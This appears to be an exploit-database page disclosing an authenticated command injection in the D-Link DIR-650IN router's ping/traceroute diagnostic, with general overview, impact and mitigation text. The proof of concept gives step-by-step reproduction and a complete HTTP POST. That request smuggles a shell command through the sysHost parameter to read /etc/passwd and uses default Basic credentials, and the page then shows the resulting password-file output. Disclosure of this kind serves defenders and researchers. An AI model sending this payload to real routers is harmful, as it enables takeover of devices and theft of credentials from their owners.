Skip to main content

D-Link DIR-650IN – Authenticated Command Injection

Categories: WebApps

D-Link DIR-650IN – Authenticated Command Injection Vulnerability

Overview

The D-Link DIR-650IN router has been found to contain a critical authenticated command injection vulnerability. This flaw allows attackers with valid access to the router’s management interface to execute arbitrary commands on the underlying operating system, potentially compromising the device’s integrity and security. This vulnerability highlights the importance of robust security measures in network devices.

Technical Details

This vulnerability arises from improper input validation in the router’s firmware. When an authenticated user sends a specially crafted request to the device, it can lead to the execution of arbitrary system commands. For example, an attacker could manipulate parameters in the HTTP request to inject malicious commands, which the router would then execute with elevated privileges. This could include accessing sensitive data or altering device configurations without authorization.

To exploit this vulnerability, an attacker must first authenticate to the device, which can be achieved through various means, such as phishing or brute-force attacks. Once authenticated, the attacker can leverage this command injection flaw to gain further control over the device or the network it manages.

Impact

The potential consequences of this vulnerability are severe. Attackers could gain full control over the affected router, allowing them to intercept network traffic, redirect users to malicious sites, or even launch further attacks on connected devices. In addition, the compromised router may serve as a foothold for broader network attacks, jeopardizing the security of the entire local area network (LAN).

Mitigation

To protect against this vulnerability, it is crucial for network administrators to immediately update the D-Link DIR-650IN firmware to the latest version provided by the manufacturer, which includes security patches addressing this issue. Additionally, implementing strong, unique passwords for router access and regularly changing them can help mitigate unauthorized access attempts.

Furthermore, consider employing network segmentation to limit the impact of potential intrusions. Regularly monitoring logs for unusual activity and employing intrusion detection systems (IDS) can also enhance the overall security posture. Security professionals should prioritize vulnerability assessments and penetration testing to identify and remediate similar vulnerabilities in their network devices.

Proof of Concept (PoC)

request.http
# Exploit Title: D-Link DIR-650IN - Authenticated Command Injection
# Date: 2023-01-08
# Exploit Author: Sanjay Singh
# Vendor Homepage: https://www.dlink.com
# Software Link: https://dlinkmea.com/index.php/product/details?det=T082aVdUWUFNR2FRblBBQUxMWlVTZz09
# Version: Firmware V1.04 (REQUIRED)
# Tested on: DIR-650IN Web UI (Boa/0.94.14rc21), Windows 10 / Chrome 108
# CVE: N/A (Version included now, previously missing)

Description:
The D-Link DIR-650IN Wireless N300 Router is vulnerable to an Authenticated Command Injection vulnerability in the Diagnostic (Ping / Traceroute) functionality.

The parameter sysHost is not sanitized, allowing an authenticated attacker (even with low-privilege access) to inject OS commands. Exploitation leads to full compromise of the router, including reading sensitive system files such as /etc/passwd.

Steps to Reproduce:
1. Log in to the router web interface.
2. Go to Management → Diagnostic.
3. Select Ping or Traceroute.
4. Enter: google.com | cat /etc/passwd
5. Click Apply.
6. Output includes /etc/passwd contents.

HTTP PoC:
POST /boafrm/formSysCmd HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded

submit-url=%2Fsyscmd.htm&sysCmd=ping&sysCmdType=ping&checkNum=5&sysHost=google.com%7Ccat%20/etc/passwd&apply=Apply

Response Extract:
root:XEOFcsRJLyXbQ:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null

References:
https://www.dlink.com
https://dlinkmea.com/index.php/product/details?det=T082aVdUWUFNR2FRblBBQUxMWlVTZz09

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...